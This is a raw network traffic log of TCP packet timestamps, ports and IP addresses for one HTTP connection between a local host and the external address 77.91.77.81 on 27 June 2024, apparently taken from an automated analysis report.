Jun 27, 2024 07:37:22.932183981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932244062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932254076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932264090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932276011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932284117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932310104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.962841034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.962857962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.962868929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.962896109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.962917089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.962975025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.962987900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.962999105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963010073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963090897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963090897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963207006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963251114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963270903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963280916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963306904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963321924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963349104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963359118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963371038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963380098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963392019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963399887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963418961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963429928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.963459015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.963495970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.965677977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965730906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965740919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965759039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.965781927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.965840101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965851068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965862036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.965878963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.965991974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966003895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966015100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966028929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966034889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966043949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966053963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966064930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966073036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966083050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966090918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966108084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966125965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966507912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966521025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966532946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966551065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966555119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966567039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966573954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966583014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966594934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966614008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966629982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966648102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966659069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966670036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966679096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966689110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966702938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966711998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966722012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966734886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966742039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966758013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.966763020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966783047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966798067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.966974020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967015982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967031956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967042923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967051983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967066050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967072964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967087030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967092991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967114925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967144012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967327118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967338085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967349052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967359066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967370033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967382908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967396975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967410088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967415094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967423916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967436075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967446089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967459917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967467070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967478991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967488050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967498064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967508078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967521906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967530012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967542887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967561960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967722893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967734098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967745066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967757940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967767954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967775106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967789888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967796087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967808962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967823029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967905998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967916965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.967972040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.967983961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968060017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968070984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968080997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968099117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968105078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968113899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968123913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968137026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968144894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968154907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968170881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968177080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968188047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968198061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968206882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968219042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968228102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968238115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968252897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968267918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968282938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968300104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968306065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968317032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968341112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968353987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968741894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968751907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968763113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968779087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968784094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968796015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968803883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968815088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968827009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968836069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.968854904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.968879938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.018748045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018771887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018781900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018819094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.018872976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.018896103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018904924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018915892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018929958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.018937111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.018959999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.018982887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019165039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019176006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019185066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019201040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019221067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019270897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019282103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019290924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019300938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019309998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019319057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019345999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019367933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019520044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019530058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019540071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019558907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019578934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019623041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019656897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019685030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019695044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019721985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019735098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019773960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019789934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019799948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019808054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019824028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019839048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019844055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019872904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019907951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019918919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.019938946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.019956112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.020031929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.020041943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.020051956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.020066023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.020078897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.020093918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050340891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050386906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050400019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050406933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050451994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050465107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050482988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050494909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050519943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050533056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050585032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050595045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050618887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050636053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050822973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050868988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050874949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050884962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050942898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.050961018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050971985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.050997972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.051026106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.051044941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.051054955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.051064968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.051078081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.051096916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053524017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053533077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053541899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053575039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053594112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053601027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053608894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053618908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053634882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053639889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053663015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053688049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.053940058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053949118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.053987026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054013968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054023981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054050922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054070950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054075956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054084063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054105043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054124117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054131031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054145098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054151058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054182053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054217100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054240942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054250956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054261923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054276943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054282904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054296970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054301023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054310083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054317951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054327965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054336071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054346085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054364920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054369926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054379940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054406881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054461002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054471016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054481030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054496050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054501057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054510117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054522991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054527998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054538012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054549932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054578066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054788113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054797888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054807901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054819107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054826021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054835081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054845095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054852009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054860115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054869890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054884911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.054889917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054905891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.054922104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055083990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055093050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055104017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055113077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055145025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055154085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055170059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055180073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055186987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055197001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055208921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055216074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055223942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055242062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055257082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055476904 CEST	80	49706	77.91.77.81	192.168.2.5
